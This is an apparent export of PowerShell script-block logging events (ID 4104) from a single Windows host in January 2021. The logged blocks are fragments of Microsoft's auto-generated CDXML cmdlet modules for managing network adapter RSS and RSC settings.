}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterRss' -Alias '*'
function Disable-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRssSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
ScriptBlock ID: f82bf787-d4a3-4851-98b0-30e6f572a419
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1942 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-affe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterRssSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRssSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterRss' -Alias '*'
function Set-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRssSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRssSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${NumberOfReceiveQueues},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRss.Profile]
${Profile},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseG')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${BaseProcessorGroup},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${BaseProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxG')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${MaxProcessorGroup},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${MaxProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Max')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${MaxProcessors},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${NumaNode},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumberOfReceiveQueues')) {
[object]$__cmdletization_value = ${NumberOfReceiveQueues}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumberOfReceiveQueues'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumberOfReceiveQueues'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Profile')) {
[object]$__cmdletization_value = ${Profile}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Profile'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRss.Profile'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Profile'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRss.Profile'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorGroup')) {
[object]$__cmdletization_value = ${BaseProcessorGroup}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorNumber')) {
[object]$__cmdletization_value = ${BaseProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessorGroup')) {
[object]$__cmdletization_value = ${MaxProcessorGroup}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessorNumber')) {
[object]$__cmdletization_value = ${MaxProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessors')) {
[object]$__cmdletization_value = ${MaxProcessors}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumaNode')) {
[object]$__cmdletization_value = ${NumaNode}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_d
ScriptBlock ID: f82bf787-d4a3-4851-98b0-30e6f572a419
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1941 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-affe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
e {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterRsc' -Alias '*'
ScriptBlock ID: 3a3beca6-cb22-4111-b94d-f158e6cd483b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1940 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a9fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
dletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterRsc' -Alias '*'
function Disable-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRscSettingData')]
[ValidateNotNull()]
